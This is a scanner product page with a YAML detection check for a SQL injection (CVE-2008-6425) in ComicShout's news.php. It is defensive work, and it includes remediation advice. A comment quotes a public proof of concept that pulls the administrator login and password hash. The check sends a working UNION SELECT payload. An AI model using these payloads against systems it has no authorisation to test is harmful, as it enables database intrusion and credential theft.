ComicShout — 1 vulnerability check
noctis ships 1 vulnerability check for ComicShout, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ComicShout news.php news_id SQL Injection
| CVE | CVE-2008-6425 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/comicshout/CVE-2008-6425.yaml |
ComicShout 2.8 and earlier puts the news_id parameter of news.php unquoted into an SQL query and prints the news rows it returns, allowing unauthenticated SQL injection (an attacker can read the whole database, including the administrator login and password hash stored in the setup table).
This check requests news.php under the web root and the usual install paths. Where it answers, it sends a news_id that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/news.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/news.php?news_id={{sc.q}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: ComicShout news.php news_id SQL Injection (CVE-2008-6425)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-6425
- https://www.exploit-db.com/exploits/5713
- https://sourceforge.net/projects/comicshout/
Feed source — tests/vulnerabilities/comicshout/CVE-2008-6425.yaml
# ComicShout <= 2.8 — news.php news_id SQL injection — CVE-2008-6425
#
# news.php renders the theme's news page, whose getNews(..., "single") call builds
# SELECT * FROM news WHERE news_id=$_GET['news_id'] ORDER BY news_date DESC LIMIT 0,3
# with news_id unquoted, and prints every row returned as
# <li><h5>date</h5><h3><a href="news.php?news_id=ID">TITLE</a></h3><p>TEXT</p>
# (news table: news_id, news_date, news_title, news_text — 4 columns). The
# SourceForge 2.6 zip (re-uploaded 2008-09-01, after the June 2008 disclosure)
# already wraps news_id in intval(); 2.8 and the original releases did not.
# Public PoC (EDB-5713): news_id=4 union all select 0,1,site_admin,site_pass from setup/*
#
# Detection (QoD 97): on every candidate news.php that answers 200, news_id =
# -1 union all select C,D,C,C-- - with C = CONCAT(0x4e4f43544953, a*b, 0x454e44)
# and random a, b, D an all-digit number (news_date goes through convertTS() ->
# mktime(), which a PHP 7+ shim would reject on a string). The product a*b is
# never in the request, so only an SQL engine that evaluated our expression can return "NOCTIS<a*b>END". Read-only, no table
# referenced, no quotes, nothing extracted. Checked against a reconstruction of
# getNews() (2.6 code without intval) on MariaDB 10.11 through PHP mysqli: the
# vulnerable query returns the marker, the intval() version returns no row.
#
# Better than the source NASL:
# - a database-computed value instead of the fixed hex-decoded string
# "SQL-Injection-Test", so a page that reflects news_id after decoding
# 0x literals (or a honeypot) cannot match;
# - the injected value is followed by "-- -", so it also works when the rest of
# the query is not a valid UNION tail (the PoC's unclosed "/*" fails on
# MySQL 5.7+/MariaDB);
# - also probes /comicshout and /comics, not only /comic and the web root.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_comicshout_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100044, GPL-2.0-only).
uid: c2e449ef-54e8-4f46-b14e-af066cfd63c2
name: "ComicShout news.php news_id SQL Injection (CVE-2008-6425)"
description: |
ComicShout 2.8 and earlier puts the news_id parameter of news.php unquoted into
an SQL query and prints the news rows it returns, allowing unauthenticated SQL
injection (an attacker can read the whole database, including the administrator
login and password hash stored in the setup table).
This check requests news.php under the web root and the usual install paths.
Where it answers, it sends a news_id that is a UNION SELECT of an expression
multiplying two random numbers. The vulnerability is confirmed when the page
returns the product computed by the database, which never appears in the
request. No table data is read and nothing is written.
cves: [CVE-2008-6425]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [comicshout, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6425"
- "https://www.exploit-db.com/exploits/5713"
- "https://sourceforge.net/projects/comicshout/"
# OpenVAS/Greenbone NASL 2009/gb_comicshout_sql_injection.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded news_id value ────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
// column 2 (news_date) goes through convertTS() -> mktime(): all digits keep it valid
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "-1%20union%20all%20select%20" + c + ",2008050110000000000," + c + "," + c + "--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/comic", "/comicshout", "/comics"]
- id: init-probe-resp
action: set_var
var_name: cs_resp
var_value: {status: 0, body: ""}
- id: init-is-cs
action: set_var
var_name: is_cs
var_value: false
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/news.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: gate
action: script
condition: 'hit_dir == ""'
code: |
landing.status == 200
store_as: is_cs
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/news.php?news_id={{sc.q}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_cs == true'
store_as: cs_resp
- id: check-product
action: script
condition: 'hit_dir == "" && is_cs == true'
code: |
let body = if type_of(cs_resp.body) == "string" { cs_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "ComicShout news.php news_id SQL Injection (CVE-2008-6425)"
description: "An unauthenticated request to news.php with news_id set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: news_id reaches the SQL query unquoted, so an attacker can read the whole database (including the administrator login and password hash)."
remediation: "ComicShout is no longer maintained: remove it, or cast news_id with intval() in getNews() (includes/functions.php) or use a prepared statement before the query is built."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: news.php?news_id=-1 union all select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),<date>,CONCAT(...),CONCAT(...)-- - returned the database-computed value {{sc.want}}"
stop: true